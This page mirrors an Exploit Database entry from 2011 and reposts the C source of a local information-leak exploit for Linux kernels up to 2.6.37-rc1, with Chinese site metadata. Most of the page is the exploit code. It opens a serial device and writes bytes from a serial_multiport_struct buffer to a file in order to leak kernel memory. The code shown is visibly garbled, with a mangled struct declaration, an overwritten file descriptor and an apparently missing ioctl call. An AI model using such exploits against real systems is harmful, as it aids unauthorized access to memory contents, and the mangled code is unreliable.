Linux Kernel 2.6.37-rc1 – ‘serial_multiport_struct’ Local Information Leak

• Exploit Database
• 16 阅读

• 作者： Todor Donev
  日期： 2011-11-04
• 类别：

  • local
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/18080/

• /* Linux <= 2.6.37-rc1 serial_multiport_struct Info Leak Exploit
   * 
   *./splitmilk2 leak 134514859
   * [\m/] Linux <= 2.6.37-rc1 serial_multiport_struct Info Leak Exploit
   * [\m/] by Todor Donev
   *[x] Leakfile	: leak
   *[x] Reservedsize	: 134514859
   * [+] Leaking.. =)
   * ...
   *
   *
   * Greets to prdelka,
   * for splitmilk.c release, Linux <= 2.6.37-rc1 serial_core TIOCGICOUNT leak exploit 
   * 
   * Thanks to Tsvetelina Emirska,
   * that support, respect and inspire me..
   *
   * Yes,	I know thats lame, but I was so bored and lazy for better. 
   *
   * Author: Todor Donev 
   * Author email: [todor.donev@gmail]
   *
   */
  
  #include <stdio.h>
  #include <stdlib.h>
  #include <string.h>
  #include <fcntl.h> 
  #include <termios.h>
  #include <linux/serial.h>
  
  #define DEVICE "/dev/ttyS1"
   
  int main(int argc, char* argv[]) {
  int ret = 0;
  int i, fd, reservedsize;
  char* buf;
  structserial_multiport_structbuffer;
  printf("[\\m/] Linux <= 2.6.37-rc1 serial_multiport_struct Info Leak Exploit\n");
  printf("[\\m/] by Todor Donev\n");
  fd = open(DEVICE, O_RDONLY); 
  if (fd <0) {
  printf("[-] Error: f0k\n"); 
  exit(-1); 
  } 
  if (argc < 2) {
  fprintf(stderr, "[!] usg: %s <leakfile> <reservedsize>\n", argv[0]);
  exit(-1);
  }
  if (argc > 2)
  if ((reservedsize = atoi(argv[2])) == 0) {
  fprintf(stderr, " [-] Sorry: (atoi) invalid outsize\n");
  exit(-1);
  }
  fprintf(stderr, "[x] Leakfile: %s\n", argv[1]);
  fprintf(stderr, "[x] Reservedsize: %u\n", reservedsize);
   if ((buf = (char *)malloc(reservedsize)) == NULL) {
  perror("Sorry: (malloc)");
  fprintf(stderr, " [-] Sorry: Try again with other output size\n");
  exit(1);
  }
  memset(&buffer,0,sizeof(buffer));
  printf("[+] Leaking.. =)\n");
  if((fd = open(argv[1], O_RDWR | O_CREAT, 0640)) == -1){
  printf("[-] Error: f0k =(\n");
  exit(-1);
  }
  for(i=0;i<=reservedsize;i++){
  ret += write(fd,&buffer.reserved[i],sizeof(int));
  }
  close(fd);
  printf("\\o/ %d bytez\n",ret);
  exit(0);
  }